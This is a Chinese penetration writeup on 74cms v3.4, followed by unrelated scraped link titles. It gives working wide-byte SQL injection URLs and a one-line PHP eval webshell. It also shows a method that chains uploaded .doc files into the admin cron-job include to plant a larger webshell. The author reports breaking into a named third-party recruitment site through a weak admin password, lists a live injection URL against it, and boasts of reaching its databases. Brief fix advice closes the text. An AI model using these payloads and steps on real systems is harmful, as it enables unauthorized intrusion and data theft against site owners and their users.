今天下载了骑士cms的最新版本,由于好久以前一个哥们发了一个后台拿shell的漏洞,还有别人发的一个sql注入的漏洞,一个有意思的渗透测试过程就从这两个地方开始了,成功的拿下了某大型人才网站的服务器,过程算比较艰辛吧,由于附带了对其实cms的漏洞重新分析,并且加入了自己新的利用方法,所以这里提交到了通用漏洞

第一步 我们分析一个老的sql注入问题:

文件job/plus/ajax_common.php:(lines:88-100)

{

if (empty($_GET['query']))

{

exit();

}

$gbk_query=trim($_GET['query']);

if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

{

$gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query);

}

$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";

$result = $db->query($sql);

iconv 这个函数在做编码转换的时候,会引入特殊字符,我们搭建了测试站点,如下:

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa

让我们请求这个的时候,里面的问题参数query可能存在sql注入,首先我们直接使用单引号

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa'

下来我们继续注入宽字节:

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%8c%27

由此可以排除了上面两种情况,下来我们继续测试

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27

神奇的貌似没有打补丁..........

这里居然引入进来了,不过骑士cms做了过滤,对sql的操作,例如select union之类的做了过滤

但是这个不影响,我不用就可以了,仍然可以通过盲注去猜测表结构,这里直接附带一个站点的测试,当然它没有做更新:

url:http://edc.dky.bjedu.cn/job/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27

下来我们在分析另外一个漏洞,之前wooyun有过一个前台xss反射台拿shell的,这里原理一样,只不过我这里利用一个后台两个地方去获取shell,看一下代码:

登陆后台,看到内容底下有个hr工具,如图:

我们添加一个doc文件 ,文件的内容就是我们提前准备的shell,我们记录下这个文件的地址为:

data/hrtools/2014/07/1406613408594.doc

里面的内容就是一段小马................

然后我们在到另外一个地方,如图:

那么接下来我们分析分析代码,我们的doc文件里面的内容是:

file_put_contents("../data/backup/shell.php","<?php @eval(\$_GET['pass']);?>");

?>

我们看看这

,这个地方有个执行按钮,那么接下来我们分析一下这里执行处的代码:

admin/admin_crons.php:(lines:115-119)

if (!empty($crons))

{

if (!file_exists(QISHI_ROOT_PATH."include/crons/".$crons['filename']))

{

adminmsg("任务文件 {$crons['filename']} 不存在!",0);

}

require_once(QISHI_ROOT_PATH."include/crons/".$crons['filename']);

adminmsg("执行成功!",2);

}

}

这里明显就是从刚才那边直接取出来,然后包含执行了,那么我们点击执行,后根据我们doc文件我们会在backup底下生成一个shell.php

这里面还有另外一个思路,按照目前的逻辑,我们貌似只能挂一个小马,但是如果挂上去的小马,不能利用或者连接不上怎么办,我们还有另外一种思路,就是直接上大马,那么这个就要利用三处地方,这里我们不在分析,直接看下面渗透测试思路就ok

到这里代码就分析完了,这里全部都是在后台操作的,我们也可以在前台通过上传一个头像,利用xss进行getshell,功夫不负有心人,我们找到一个案例,而且貌似还比较大的网站:

---------------------------------------------------------------

下来我们进行渗透测试:

站点:人才技能网(http://edc.dky.bjedu.cn/)

经过测试后台存在弱口令,我们登陆到了后台

我们进来之后,下来我们就是要去重复我上面分析的东西,结果真是巧合所挂的小马,菜刀链接不上,这里我就不演示了,我们直接看另外一个思路

1.如果我们可以再hr工具编辑哪里,连续上传两个doc,一个doc就是我们的大马,另一个doc就是我们的写shell的文件doc,然后我们只要在写shell的doc里面从另外一个大马文件读出来,然后写到backup/shell.php 里面即可:

操作如下:

记录上面的两个url:

url1(大马):data/hrtools/2014/07/1406614082954.doc

url2 (写shell):data/hrtools/2014/07/1406614108668.doc

写shell的doc,文件内容如下:

$file_path = "../data/hrtools/2014/07/1406614082954.doc";

$content = file_get_contents($file_path);

file_put_contents("../data/backup/shell.php",$content);

?>

然后我们把url2,贴到工具-》的任务计划哪里,如图所示:

保存后我们点击执行:

然后我们的大马就生成了,哈哈.................

ok到此这个服务器就已经拿下了,这个服务器里面相对东西还是很多的,它不止有骑士cms一个,还有其他几个,例如phpcms,我们通过这个点全部都能那道数据库文件

内网ip:

修复方案:

对于骑士cms来说,还是在这里转义一下,后台那还是通过xss 盲打,然后 能构造出来shell的,建议重视并修改

对于这个站点,及时升级,并改掉管理员密码

渗透测试php过程,利用骑士cms的一次纠结的渗透测试过程(两个潜在相关推荐

  1. 【python渗透测试】python在渗透测试中的利用(完全版,持续中出)

    跟着gpt学习python在渗透测试中的利用

  2. 【渗透测试】—如何利用文件包含的方式进行攻击

    目录 4.9. 文件包含 4.9.1. 基础 4.9.2. 触发Sink 4.9.3. 绕过技巧 4.9.3.1. url编码绕过 4.9.3.2. 特殊字符绕过 4.9.3.3. %00截断 4.9 ...

  3. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  4. 记一次初级渗透测试模拟过程

    0x00 前言 网络安全攻防赛是一种国际流行的竞技模式,自2014年在国内升温,发展到现在,深受各大高校和安全企业的青睐.参赛者在竞技过程中能够更大的限度的收获专业知识.激发潜能.为了让更多人切身体会 ...

  5. 监控渗透测试中Certutil利用行为

    简介 Certutil.exe是作为证书服务的一部分安装的命令行程序. 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话. 补充说明:在高版本操作系统中,可以通过配 ...

  6. 渗透测试 | 几款常用的CMS识别「Web指纹识别」扫描脚本工具(含下载地址)

    在对「靶标资产」进行渗透测试的前期,通常需要对「靶标资产」进行相关的信息收集,而对「靶标资产」进行Web指纹信息扫描也是信息收集当中很关键的一部分. 能否有效识别出「靶标资产」的Web指纹信息,主要还 ...

  7. 《黑客秘笈——渗透测试实用指南》—第1章1.1节搭建渗透测试主机

    本节书摘来自异步社区<黑客秘笈--渗透测试实用指南>一书中的第1章1.1节搭建渗透测试主机,作者[美]Peter Kim(彼得 基姆),更多章节内容可以访问云栖社区"异步社区&q ...

  8. 渗透测试-Kali Linux学习(Linux基础、Shell编程、渗透测试软件)

    目录 目录结构 SSH连接 开关机与重启 关机 重启 文件目录 目录 显示/切换 创建与删除 文件 创建 复制 移动 查看 重定向和追加 软链接 查找 备份与压缩 .gz .zip .tar.gz 用 ...

  9. python渗透测试编程技术基础书评_【新手必看】渗透测试学习书籍推荐

    Web综合渗透方向 <Web安全攻防:渗透测试实战指南> 该书出版于2018-7,全书416页,涉及知识面虽广,但90%的知识点都不深入,在新手层面相对深入讲解了SQL注入的利用:知识排序 ...

最新文章

  1. ImageView.ScaleType /android:scaleType值的意义区别
  2. Lotus的书买回来了
  3. hive 的udf 函数使用
  4. 虚拟机安装服务器2008,VMware Workstation 虚拟机安装64位windows 2008 R2 系统
  5. LeetCode 2105. 给植物浇水 II(双指针)
  6. Mac OSX使用隐藏文件夹
  7. 小试牛刀--编程实现获取计算机的IP地址和计算机名
  8. 《推荐系统实践》算法纯享(附代码链接)(三)—— 冷启动篇
  9. opencv打开Lena图像,并且将Lena改成单通道的图片
  10. 过年倒计时 java swing 附源码
  11. html黑洞效果,HTML5 Canvas炫酷宇宙黑洞引力特效
  12. java程序实现短信发送(可调用免费短信接口)
  13. 关于笔记本双显卡状态下独立显卡的配置问题
  14. Cause: java.sql.SQLExceptioValue ‘0000-00-00 00:00:00‘ can not be represented as java.sql.Timestamp
  15. MIT的计算机系课程设置
  16. 前端微信签名验证工具_微信支付服务商签名验证无误,但是统一下单后服务器返回【签名错误】...
  17. 面向对象分析与设计中的基本事件处理的机制及其优缺点对比
  18. 【Spark】Spark基础教程
  19. Python练习14:天天向上的力量I
  20. hive的搭建及其入门一

热门文章

  1. java实现苹果和虫子2
  2. 4th 【最小生成树并查集】征兵
  3. 二级c语言标学教育,标学教育软件下载-标学教育 安卓版v2.9.0-PC6安卓网
  4. 2020年中级数据库系统工程师考试笔记9—SQL语言
  5. tekla钢筋组弯钩方向
  6. C语言 从txt文件中提取特定的数据
  7. 计算机内存数值存储方式(原码、反码、补码)
  8. 专题:固体力学中应力与应变分析详解(7.应变分析 7.5应变张量 7.6主应变与主方向 7.7应变莫尔圆)
  9. 公积金能付首付吗?你在公积金贷款买房前这些知道吗?
  10. 暴雪和黑客的战争四:暴雪的杀手锏-The Warden